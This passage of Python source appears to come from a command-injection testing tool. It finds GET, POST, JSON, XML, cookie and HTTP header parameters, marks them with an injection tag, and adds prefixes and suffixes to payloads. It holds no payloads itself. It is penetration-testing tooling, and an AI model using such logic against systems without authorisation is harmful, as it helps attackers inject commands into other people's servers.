from src.thirdparty.flatten_json.flatten_json import flatten, unflatten_list
from src.thirdparty.odict import OrderedDict
"""
Get the URL part of the defined URL.
"""
def get_url_part(url):
# Find the URL part (scheme:[//host[:port]][/]path)
o = _urllib.parse.urlparse(url)
url_part = o.scheme + "://" + o.netloc + o.path
return url_part
"""
Check if the 'INJECT_HERE' tag, is specified on GET Requests.
"""
def do_GET_check(url, http_request_method):
"""
Grab the value of parameter.
"""
def multi_params_get_value(parameter):
value = re.findall(r'=(.*)', parameter)
value = ''.join(value)
return value
if settings.CUSTOM_INJECTION_MARKER and settings.SKIP_NON_CUSTOM:
return False
if settings.USER_DEFINED_POST_DATA:
if settings.CUSTOM_INJECTION_MARKER_CHAR in settings.USER_DEFINED_POST_DATA and settings.SKIP_NON_CUSTOM:
return False
if settings.INJECT_TAG in url:
settings.IGNORE_USER_DEFINED_POST_DATA = True
# Do replacement with the 'INJECT_HERE' tag, if the custom injection marker character is provided.
url = checks.process_custom_injection_data(url)
# Check for REST-ful URLs format.
if "?" not in url:
settings.USER_DEFINED_URL_DATA = False
if settings.INJECT_TAG not in url and not menu.options.shellshock:
if len(settings.TESTABLE_PARAMETERS_LIST) != 0 or \
len(settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST) != 0 or \
settings.INJECTION_LEVEL == settings.HTTP_HEADER_INJECTION_LEVEL or \
(settings.INJECTION_LEVEL == settings.COOKIE_INJECTION_LEVEL and menu.options.cookie) or \
settings.USER_DEFINED_POST_DATA and not settings.IGNORE_USER_DEFINED_POST_DATA:
return False
else:
checks.no_parameters_found()
elif menu.options.shellshock:
return False
return [url]
else:
urls_list = []
if menu.options.shellshock:
urls_list.append(url)
else:
# Find the host part
url_part = get_url_part(url)
# Find the parameter part
parameters = url.split("?")[1]
# Split parameters
try:
multi_parameters = parameters.split(settings.PARAMETER_DELIMITER)
multi_parameters = [x for x in multi_parameters if x]
except ValueError as err_msg:
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
# if len([s for s in multi_parameters if "=" in s]) != (len(multi_parameters)):
if len([s for s in multi_parameters if "=" in s]) == 0:
checks.no_parameters_found()
# Check for empty values (in provided parameters).
if checks.is_empty(multi_parameters, http_request_method):
return urls_list
# Grab the value of parameter.
_ = []
_.append(parameters)
parameters = ''.join(checks.check_similarities(_))
value = multi_params_get_value(parameters)
# Check if single parameter is supplied.
if len(multi_parameters) == 1:
# Check if defined the INJECT_TAG
if settings.INJECT_TAG not in parameters:
# Ignoring the anti-CSRF parameter(s).
if checks.ignore_anticsrf_parameter(parameters):
return urls_list
if len(value) == 0:
parameters = parameters + settings.INJECT_TAG
else:
if settings.CUSTOM_INJECTION_MARKER:
if settings.ASTERISK_MARKER in value:
parameters = parameters.replace(value, value.replace(settings.ASTERISK_MARKER, settings.INJECT_TAG))
else:
if not settings.ASTERISK_MARKER in value and not settings.CUSTOM_INJECTION_MARKER_CHAR in value:
parameters = parameters.replace(value, value + settings.INJECT_TAG)
# Reconstruct the URL
url = url_part + "?" + parameters
url = url.replace(settings.RANDOM_TAG, "").replace(settings.ASTERISK_MARKER,"")
urls_list.append(url)
return urls_list
else:
# Check if multiple parameters are supplied without the "INJECT_HERE" tag.
all_params = settings.PARAMETER_DELIMITER.join(multi_parameters)
all_params = all_params.split(settings.PARAMETER_DELIMITER)
# Check for similarity in provided parameter name and value.
all_params = checks.check_similarities(all_params)
# Check if defined the "INJECT_HERE" tag
if settings.INJECT_TAG not in url:
for param in range(0,len(all_params)):
# Grab the value of parameter.
value = multi_params_get_value(all_params[param])
for param in range(0,len(all_params)):
if param == 0 :
old = multi_params_get_value(all_params[param])
else :
old = value
# Grab the value of parameter.
value = multi_params_get_value(all_params[param])
# Ignoring the anti-CSRF parameter(s).
if checks.ignore_anticsrf_parameter(all_params[param]):
all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "")
continue
# Replace the value of parameter with INJECT_HERE tag
if len(value) == 0:
if not menu.options.skip_empty:
all_params[param] = ''.join(all_params[param] + settings.INJECT_TAG)
else:
if settings.CUSTOM_INJECTION_MARKER:
if settings.ASTERISK_MARKER in value:
all_params[param] = ''.join(all_params[param]).replace(value, value.replace(settings.ASTERISK_MARKER, settings.INJECT_TAG))
else:
if not settings.ASTERISK_MARKER in value and not settings.CUSTOM_INJECTION_MARKER_CHAR in value:
all_params[param] = ''.join(all_params[param]).replace(value, value + settings.INJECT_TAG)
all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "")
parameter = settings.PARAMETER_DELIMITER.join(all_params)
# Reconstruct the URL
url = url_part + "?" + parameter
url = url.replace(settings.RANDOM_TAG, "").replace(settings.ASTERISK_MARKER,"")
urls_list.append(url)
else:
for param in range(0,len(multi_parameters)):
value = multi_params_get_value(multi_parameters[param])
parameter = settings.PARAMETER_DELIMITER.join(multi_parameters)
# Reconstruct the URL
url = url_part + "?" + parameter
url = url.replace(settings.RANDOM_TAG, "")
urls_list.append(url)
return urls_list
"""
Define the vulnerable GET parameter.
"""
def vuln_GET_param(url):
# Define the vulnerable parameter
if "?" not in url:
# Grab the value of parameter.
value = re.findall(r'/(.*)/' + settings.INJECT_TAG + "", url)
value = ''.join(value)
vuln_parameter = re.sub(r"/(.*)/", "", value)
elif re.search(r"" + settings.PARAMETER_DELIMITER + r"(.*)=[\S*(\\/)]*" + settings.INJECT_TAG, url) or \
re.search(r"\?(.*)=[\S*(\\/)]*" + settings.INJECT_TAG , url):
pairs = url.split("?")[1].split(settings.PARAMETER_DELIMITER)
pairs[:] = [param for param in pairs if any(value in param for value in ["="])]
for param in range(0,len(pairs)):
if settings.INJECT_TAG in pairs[param]:
vuln_parameter = pairs[param].split("=")[0]
if settings.CUSTOM_INJECTION_MARKER:
try:
settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST
settings.TESTABLE_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST
settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[0]
settings.POST_CUSTOM_INJECTION_MARKER_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1]
except Exception:
pass
settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG, "")
if settings.BASE64_PADDING in pairs[param]:
settings.TESTABLE_VALUE = settings.TESTABLE_VALUE + settings.BASE64_PADDING
break
else:
vuln_parameter = url
if 'vuln_parameter' not in locals():
return url
if settings.USER_DEFINED_POST_DATA and vuln_parameter:
settings.IGNORE_USER_DEFINED_POST_DATA = True
return vuln_parameter
"""
Check if the 'INJECT_HERE' tag, is specified on POST Requests.
"""
def do_POST_check(parameter, http_request_method):
"""
Grab the value of parameter.
"""
def multi_params_get_value(param, all_params):
if settings.IS_JSON:
value = re.findall(r'\:(.*)', all_params[param])
if not value:
value = all_params[param]
value = ''.join(value)
if value.endswith("\"}"):
value = (value[:-len("}")])
if checks.quoted_value(value) and any(_ in "[]{}" for _ in value):
value = value.replace("\"","")
else:
value = re.sub(settings.IGNORE_JSON_CHAR_REGEX, '', value)
elif settings.IS_XML:
value = re.findall(r'>(.*)</', all_params[param])
value = ''.join(value)
else:
value = re.findall(r'=(.*)', all_params[param])
value = ''.join(value)
return value
"""
Check for int value inside JSON objects.
"""
def json_int_check(parameter, value):
"""
Check JSON objects format.
"""
def json_format(parameter):
return json.loads(parameter, object_pairs_hook=OrderedDict)
try:
parameter = json_format(parameter)
except:
if not checks.quoted_value(value + settings.INJECT_TAG) in parameter:
if any(_ in "[]{}" for _ in value):
v = re.sub(settings.IGNORE_JSON_CHAR_REGEX, '', value.lstrip())
parameter = parameter.replace(value + settings.INJECT_TAG, value.replace(v, checks.quoted_value(v + settings.INJECT_TAG)))
else:
parameter = parameter.replace(value + settings.INJECT_TAG, checks.quoted_value(value + settings.INJECT_TAG))
if settings.INJECT_TAG in value and not checks.quoted_value(value) in parameter:
value = re.sub(settings.IGNORE_JSON_CHAR_REGEX, '', value.lstrip())
parameter = parameter.replace(value, checks.quoted_value(value))
parameter = json_format(parameter)
_ = True
if isinstance(parameter, list):
parameter = parameter[(len(parameter) - 1)]
if isinstance(parameter, OrderedDict):
for keys,values in parameter.items():
if settings.INJECT_TAG in keys:
_ = False
break
if _ and isinstance(parameter, OrderedDict):
parameter = unflatten_list(parameter)
parameter = json.dumps(parameter)
return parameter
# Do replacement with the 'INJECT_HERE' tag, if the custom injection marker character is provided.
parameter = checks.process_custom_injection_data(parameter).replace("'","\"").replace(", ",",").replace(",\"", ", \"")
# Check if JSON Object.
if checks.is_JSON_check(parameter) or checks.is_JSON_check(checks.check_quotes_json_data(parameter)):
if checks.is_JSON_check(checks.check_quotes_json_data(parameter)):
parameter = checks.check_quotes_json_data(parameter)
if not settings.IS_JSON:
data_type = "JSON"
settings.IS_JSON = checks.process_data(data_type, http_request_method)
settings.PARAMETER_DELIMITER = ","
# Check if XML Object.
elif checks.is_XML_check(parameter):
if not settings.IS_XML:
data_type = "XML/SOAP"
settings.IS_XML = checks.process_data(data_type, http_request_method)
settings.PARAMETER_DELIMITER = "\n"
elif settings.TESTABLE_PARAMETERS_LIST and not any(ext in parameter for ext in settings.TESTABLE_PARAMETERS_LIST) and not settings.INJECT_TAG in parameter:
if settings.SKIP_NON_CUSTOM:
settings.IGNORE_USER_DEFINED_POST_DATA = True
if settings.IGNORE_USER_DEFINED_POST_DATA and settings.SKIP_NON_CUSTOM:
return ""
parameters_list = []
# Split multiple parameters
if settings.IS_XML:
parameter = re.sub(r">\s*<", ">" + settings.PARAMETER_DELIMITER + "<", parameter)
_ = []
parameters = re.findall(r'(.*)', parameter)
parameters = [param for param in parameters if param]
for value in range(0,len(parameters)):
_.append(parameters[value])
multi_parameters = _
else:
try:
multi_parameters = parameter.split(settings.PARAMETER_DELIMITER)
except ValueError as err_msg:
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
# if len([s for s in multi_parameters if "=" in s]) != (len(multi_parameters)) and \
# not settings.IS_JSON and \
# not settings.IS_XML:
# return ""
if len([s for s in multi_parameters if "=" in s]) == 0 and not any((settings.IS_JSON, settings.IS_XML)):
checks.no_parameters_found()
_ = []
_.append(parameter)
parameter = ''.join(checks.check_similarities(_))
# Check if single parameter is supplied.
if len(multi_parameters) == 1:
if settings.INJECT_TAG not in multi_parameters[0]:
# Grab the value of parameter.
if settings.IS_JSON:
# Grab the value of parameter.
value = multi_params_get_value(0, checks.check_similarities(_))
elif settings.IS_XML:
# Grab the value of parameter.
value = re.findall(r'>(.*)</', parameter)
value = ''.join(value)
else:
value = re.findall(r'=(.*)', parameter)
value = ''.join(value)
if checks.is_empty(multi_parameters, http_request_method):
return parameter
else:
# Ignoring the anti-CSRF parameter(s).
if checks.ignore_anticsrf_parameter(parameter):
return parameter
# Replace the value of parameter with INJECT_HERE tag
if len(value) == 0:
if settings.IS_JSON:
parameter = parameter.replace(":\"\"", ":\"" + settings.INJECT_TAG + "\"")
else:
parameter = parameter + settings.INJECT_TAG
else:
if settings.CUSTOM_INJECTION_MARKER:
if settings.ASTERISK_MARKER in value:
parameter = parameter.replace(value, value.replace(settings.ASTERISK_MARKER, settings.INJECT_TAG))
else:
if not settings.ASTERISK_MARKER in value and not settings.CUSTOM_INJECTION_MARKER_CHAR in value:
parameter = parameter.replace(value, value + settings.INJECT_TAG)
if settings.IS_JSON:
parameter = json_int_check(parameter, value)
parameter = parameter.replace(settings.RANDOM_TAG, "").replace(settings.ASTERISK_MARKER,"")
return parameter
else:
for param in range(0, len(multi_parameters)):
# Grab the value of parameter.
value = multi_params_get_value(param, multi_parameters)
parameter = settings.PARAMETER_DELIMITER.join(multi_parameters)
parameter = parameter.replace(settings.RANDOM_TAG, "")
if settings.IS_JSON and settings.INJECT_TAG in value:
parameter = json_int_check(parameter, value)
break
return parameter
else:
# Check if multiple parameters are supplied without the "INJECT_HERE" tag.
if settings.IS_XML:
all_params = multi_parameters
else:
all_params = settings.PARAMETER_DELIMITER.join(multi_parameters)
# Check for similarity in provided parameter name and value.
all_params = all_params.split(settings.PARAMETER_DELIMITER)
all_params = checks.check_similarities(all_params)
# Check if not defined the "INJECT_HERE" tag in parameter
if settings.INJECT_TAG not in parameter:
if checks.is_empty(multi_parameters, http_request_method):
return parameter
for param in range(0, len(all_params)):
if param == 0 :
old = multi_params_get_value(param, all_params)
else :
old = value
# Grab the value of parameter.
value = multi_params_get_value(param, all_params)
# Ignoring the anti-CSRF parameter(s).
if checks.ignore_anticsrf_parameter(all_params[param]):
all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "")
continue
# Replace the value of parameter with INJECT_HERE tag
if len(value) == 0:
if not menu.options.skip_empty:
if settings.IS_JSON:
all_params[param] = ''.join(all_params[param]).replace(":\"\"", ":\"" + settings.INJECT_TAG + "\"").replace(":\\\"\\\"", ":\\\"" + settings.INJECT_TAG + "\\\"")
elif settings.IS_XML:
all_params[param] = ''.join(all_params[param]).replace("></", ">" + settings.INJECT_TAG + "</")
else:
all_params[param] = ''.join(all_params[param] + settings.INJECT_TAG)
else:
if settings.CUSTOM_INJECTION_MARKER:
if settings.ASTERISK_MARKER in value:
all_params[param] = ''.join(all_params[param]).replace(value, value.replace(settings.ASTERISK_MARKER, settings.INJECT_TAG))
else:
if not settings.ASTERISK_MARKER in value and not settings.CUSTOM_INJECTION_MARKER_CHAR in value:
all_params[param] = ''.join(all_params[param]).replace(value, value + settings.INJECT_TAG)
if settings.IS_JSON and len(all_params[param].split("\":")) == 2:
check_parameter = all_params[param].split("\":")[0]
if settings.INJECT_TAG in check_parameter:
all_params[param] = all_params[param].replace(check_parameter, check_parameter.replace(settings.INJECT_TAG, ""))
all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "")
parameter = settings.PARAMETER_DELIMITER.join(all_params)
parameter = parameter.replace(settings.RANDOM_TAG, "").replace(settings.ASTERISK_MARKER,"")
if settings.IS_JSON:
if (len(all_params)) == 1 and settings.INJECT_TAG not in all_params[param]:
parameter = parameter.replace(value, value + settings.INJECT_TAG)
parameter = json_int_check(parameter, value)
if type(parameter) != list:
parameters_list.append(parameter)
parameter = parameters_list
else:
for param in range(0, len(multi_parameters)):
# Grab the value of parameter.
value = multi_params_get_value(param, multi_parameters)
parameter = settings.PARAMETER_DELIMITER.join(multi_parameters)
parameter = parameter.replace(settings.RANDOM_TAG, "")
if settings.IS_JSON and settings.INJECT_TAG in multi_parameters[param]:
parameter = json_int_check(parameter, value)
break
return parameter
"""
Define the vulnerable POST parameter.
"""
def vuln_POST_param(parameter, url):
if isinstance(parameter, list):
parameter = " ".join(parameter)
# JSON data format.
if settings.IS_JSON:
parameter = json.loads(parameter, object_pairs_hook=OrderedDict)
parameter = flatten(parameter)
parameter = json.dumps(parameter)
parameters = re.sub(settings.IGNORE_JSON_CHAR_REGEX, '', parameter.split(settings.INJECT_TAG)[0].replace(",\"", settings.RANDOM_TAG + "\""))
parameters = ''.join(parameters.split(", ")[-1:]).strip()
parameters = ''.join(parameters.split(":")[0]).strip()
settings.TESTABLE_VALUE = vuln_parameter = ''.join(parameters.split(settings.RANDOM_TAG)[:1])
if settings.CUSTOM_INJECTION_MARKER:
settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST
settings.TESTABLE_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST
# settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = result.split(settings.INJECT_TAG)[0]
# settings.POST_CUSTOM_INJECTION_MARKER_CHAR = result.split(settings.INJECT_TAG)[1]
# XML data format.
elif settings.IS_XML:
parameters = list(parameter.replace("></",">" + settings.END_LINE.LF + "</").split(settings.END_LINE.LF))
for item in parameters:
if settings.INJECT_TAG in item:
result = re.sub(re.compile('<.*?>'), '', item)
if not settings.CUSTOM_INJECTION_MARKER and settings.CUSTOM_INJECTION_MARKER_CHAR in item:
item = item.replace(settings.CUSTOM_INJECTION_MARKER_CHAR,"")
_ = (re.search('<(.*)>' + result + '</(.*)>', item))
if _ and (_.groups()[0]) == (_.groups()[1]):
vuln_parameter = ''.join(_.groups()[0])
if settings.CUSTOM_INJECTION_MARKER:
try:
settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST
settings.TESTABLE_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST
settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = result.split(settings.INJECT_TAG)[0]
settings.POST_CUSTOM_INJECTION_MARKER_CHAR = result.split(settings.INJECT_TAG)[1]
except Exception:
pass
settings.TESTABLE_VALUE = result.split(settings.INJECT_TAG)[0]
# Regular POST data format.
else:
if re.search(r"" + settings.PARAMETER_DELIMITER + r"(.*)=[\S*(\\/)]*" + settings.INJECT_TAG, parameter) or \
re.search(r"(.*)=[\S*(\\/)]*" + settings.INJECT_TAG , parameter):
pairs = parameter.split(settings.PARAMETER_DELIMITER)
pairs[:] = [param for param in pairs if any(value in param for value in ["="])]
for param in range(0,len(pairs)):
if settings.INJECT_TAG in pairs[param]:
vuln_parameter = pairs[param].split("=")[0]
if settings.CUSTOM_INJECTION_MARKER:
try:
settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST
settings.TESTABLE_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST
settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[0]
settings.POST_CUSTOM_INJECTION_MARKER_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1]
except Exception:
pass
settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG, "")
if settings.BASE64_PADDING in pairs[param]:
settings.TESTABLE_VALUE = settings.TESTABLE_VALUE + settings.BASE64_PADDING
break
if 'vuln_parameter' not in locals():
return parameter
return vuln_parameter
"""
Define the injection prefixes.
"""
def prefixes(payload, prefix):
parameter = ""
if settings.COOKIE_INJECTION:
if not settings.LOAD_SESSION:
parameter = menu.options.cookie
specify_cookie_parameter(parameter)
if settings.CUSTOM_HEADER_INJECTION:
specify_custom_header_parameter(parameter)
elif settings.USER_AGENT_INJECTION:
if not settings.LOAD_SESSION:
parameter = menu.options.agent
specify_user_agent_parameter(parameter)
elif settings.REFERER_INJECTION:
if not settings.LOAD_SESSION:
parameter = menu.options.referer
specify_referer_parameter(parameter)
elif settings.HOST_INJECTION:
if not settings.LOAD_SESSION:
parameter = menu.options.host
specify_host_parameter(parameter)
_ = True
pre_custom = settings.TESTABLE_VALUE
if settings.CUSTOM_INJECTION_MARKER and len(settings.PRE_CUSTOM_INJECTION_MARKER_CHAR) != 0:
pre_custom = settings.PRE_CUSTOM_INJECTION_MARKER_CHAR
elif settings.IS_JSON or settings.LOAD_SESSION and not any((settings.COOKIE_INJECTION, settings.USER_AGENT_INJECTION, settings.REFERER_INJECTION, settings.HOST_INJECTION, settings.CUSTOM_HEADER_INJECTION)):
pre_custom = ""
_ = False
if _:
if not pre_custom in prefix:
prefix = pre_custom + prefix
# Check if defined "--prefix" option.
if menu.options.prefix and not settings.LOAD_SESSION:
if not menu.options.prefix in prefix:
prefix = prefix + menu.options.prefix
payload = prefix + payload
# Fixation for specific payload.
if ")%3B" + ")}" in payload:
payload = payload.replace(")%3B" + ")}", ")" + ")}")
return payload, prefix
"""
Define the injection suffixes.
"""
def suffixes(payload, suffix):
if settings.COOKIE_INJECTION and suffix == settings.COOKIE_DELIMITER:
suffix = ""
_ = True
post_custom = ""
if settings.CUSTOM_INJECTION_MARKER and len(settings.PRE_CUSTOM_INJECTION_MARKER_CHAR) != 0:
post_custom = settings.POST_CUSTOM_INJECTION_MARKER_CHAR
elif settings.IS_JSON or settings.LOAD_SESSION and not any((settings.COOKIE_INJECTION, settings.USER_AGENT_INJECTION, settings.REFERER_INJECTION, settings.HOST_INJECTION, settings.CUSTOM_HEADER_INJECTION)):
post_custom = ""
_ = False
if _:
if not post_custom in suffix:
suffix = suffix + post_custom
# Check if defined "--suffix" option.
if menu.options.suffix and not settings.LOAD_SESSION:
if not menu.options.suffix in suffix:
suffix = menu.options.suffix + suffix
payload = payload + suffix
return payload, suffix
"""
The cookie based injection.
"""
def do_cookie_check(cookie):
"""
Grab the value of parameter.
"""
def multi_params_get_value(parameter):
value = re.findall(r'=(.*)', parameter)
value = ''.join(value)
return value
# Do replacement with the 'INJECT_HERE' tag, if the custom injection marker character is provided.
cookie = checks.process_custom_injection_data(cookie)
try:
multi_parameters = cookie.split(settings.COOKIE_DELIMITER)
except ValueError as err_msg:
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
# if len([s for s in multi_parameters if "=" in s]) != (len(multi_parameters)):
if len([s for s in multi_parameters if "=" in s]) == 0:
checks.no_parameters_found()
_ = []
_.append(cookie)
cookie = ''.join(checks.check_similarities(_))
# Grab the value of parameter.
value = multi_params_get_value(cookie)
# Replace the value of parameter with INJECT tag
# Check if single paramerter is supplied.
if len(multi_parameters) == 1:
# Ignoring the anti-CSRF parameter(s).
if checks.ignore_anticsrf_parameter(cookie):
return cookie
# Ignoring the Google analytics cookie parameter.
if checks.ignore_google_analytics_cookie(cookie):
return cookie
# Check for empty values (in provided parameters).
if checks.is_empty(multi_parameters, http_request_method=settings.COOKIE):
return cookie
# Check if defined the INJECT_TAG
if settings.INJECT_TAG not in cookie:
if len(value) == 0:
cookie = cookie + settings.INJECT_TAG
else:
if settings.CUSTOM_INJECTION_MARKER:
if settings.ASTERISK_MARKER in value:
cookie = cookie.replace(value, value.replace(settings.ASTERISK_MARKER, settings.INJECT_TAG))
else:
if not settings.ASTERISK_MARKER in value and not settings.CUSTOM_INJECTION_MARKER_CHAR in value:
cookie = cookie.replace(value, value + settings.INJECT_TAG)
cookie = cookie.replace(settings.RANDOM_TAG, "").replace(settings.ASTERISK_MARKER,"")
return cookie
# Check if multiple parameters are supplied.
else:
cookies_list = []
all_params = settings.COOKIE_DELIMITER.join(multi_parameters)
all_params = all_params.split(settings.COOKIE_DELIMITER)
all_params = checks.check_similarities(all_params)
# Check if not defined the "INJECT_HERE" tag in parameter
if settings.INJECT_TAG not in cookie:
# Check for empty values (in provided parameters).
if checks.is_empty(multi_parameters, http_request_method=settings.COOKIE):
return cookie
for param in range(0, len(all_params)):
if param == 0 :
old = multi_params_get_value(all_params[param])
else :
old = value
# Grab the value of cookie.
value = multi_params_get_value(all_params[param])
# Ignoring the anti-CSRF parameter(s).
if checks.ignore_anticsrf_parameter(all_params[param]):
all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "")
continue
# Ignoring the Google analytics cookie parameter.
if checks.ignore_google_analytics_cookie(all_params[param]):
continue
# Replace the value of parameter with INJECT tag
if len(value) == 0:
if not menu.options.skip_empty:
all_params[param] = ''.join(all_params[param] + settings.INJECT_TAG)
else:
if settings.CUSTOM_INJECTION_MARKER:
if settings.ASTERISK_MARKER in value:
all_params[param] = ''.join(all_params[param]).replace(value, value.replace(settings.ASTERISK_MARKER, settings.INJECT_TAG))
else:
if not settings.ASTERISK_MARKER in value and not settings.CUSTOM_INJECTION_MARKER_CHAR in value:
all_params[param] = ''.join(all_params[param]).replace(value, value + settings.INJECT_TAG)
all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "")
cookie = settings.COOKIE_DELIMITER.join(all_params)
cookie = cookie.replace(settings.RANDOM_TAG, "").replace(settings.ASTERISK_MARKER,"")
if type(cookie) != list:
cookies_list.append(cookie)
cookie = cookies_list
else:
for param in range(0, len(multi_parameters)):
# Grab the value of parameter.
value = re.findall(r'=(.*)', multi_parameters[param])
value = ''.join(value)
cookie = settings.COOKIE_DELIMITER.join(multi_parameters)
cookie = cookie.replace(settings.RANDOM_TAG, "")
return cookie
"""
Specify the cookie parameter(s).
"""
def specify_cookie_parameter(cookie):
# Specify the vulnerable cookie parameter
if re.search(r"" + settings.COOKIE_DELIMITER + r"(.*)=[\S*(\\/)]*" + settings.INJECT_TAG, cookie) or \
re.search(r"(.*)=[\S*(\\/)]*" + settings.INJECT_TAG , cookie):
pairs = cookie.split(settings.COOKIE_DELIMITER)
pairs[:] = [param for param in pairs if any(value in param for value in ["="])]
for param in range(0,len(pairs)):
if settings.INJECT_TAG in pairs[param]:
vuln_parameter = pairs[param].split("=")[0]
if settings.CUSTOM_INJECTION_MARKER:
try:
settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST
settings.TESTABLE_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST
settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[0]
settings.POST_CUSTOM_INJECTION_MARKER_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1]
except Exception:
pass
settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG, "")
break
else:
vuln_parameter = cookie
if 'vuln_parameter' not in locals():
return cookie
return vuln_parameter
"""
The user-agent based injection.
"""
def specify_user_agent_parameter(user_agent):
try:
header_name = settings.USER_AGENT
settings.TESTABLE_VALUE = checks.process_custom_injection_data(user_agent).replace(settings.ASTERISK_MARKER, settings.INJECT_TAG)
if settings.CUSTOM_INJECTION_MARKER and settings.INJECT_TAG in settings.TESTABLE_VALUE:
settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(header_name) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST
settings.TESTABLE_PARAMETERS_LIST.append(user_agent) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST
settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = settings.TESTABLE_VALUE.split(settings.INJECT_TAG)[0]
settings.POST_CUSTOM_INJECTION_MARKER_CHAR = settings.TESTABLE_VALUE.split(settings.INJECT_TAG)[1]
except AttributeError:
pass
return user_agent
"""
The referer based injection.
"""
def specify_referer_parameter(referer):
try:
header_name = settings.REFERER
settings.TESTABLE_VALUE = checks.process_custom_injection_data(referer).replace(settings.ASTERISK_MARKER, settings.INJECT_TAG)
if settings.CUSTOM_INJECTION_MARKER and settings.INJECT_TAG in settings.TESTABLE_VALUE:
settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(header_name) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST
settings.TESTABLE_PARAMETERS_LIST.append(referer) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST
settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = settings.TESTABLE_VALUE.split(settings.INJECT_TAG)[0]
settings.POST_CUSTOM_INJECTION_MARKER_CHAR = settings.TESTABLE_VALUE.split(settings.INJECT_TAG)[1]
except AttributeError:
pass
return referer
"""
The host based injection.
"""
def specify_host_parameter(host):
try:
header_name = settings.HOST
settings.TESTABLE_VALUE = checks.process_custom_injection_data(host).replace(settings.ASTERISK_MARKER, settings.INJECT_TAG)
if settings.CUSTOM_INJECTION_MARKER and settings.INJECT_TAG in settings.TESTABLE_VALUE:
settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(header_name) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST
settings.TESTABLE_PARAMETERS_LIST.append(host) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST
settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = settings.TESTABLE_VALUE.split(settings.INJECT_TAG)[0]
settings.POST_CUSTOM_INJECTION_MARKER_CHAR = settings.TESTABLE_VALUE.split(settings.INJECT_TAG)[1]
except AttributeError:
pass
return host
"""
The Custom http header based injection.
"""
def specify_custom_header_parameter(header_name):
try:
header_name = settings.CUSTOM_HEADER_NAME
if settings.CUSTOM_INJECTION_MARKER:
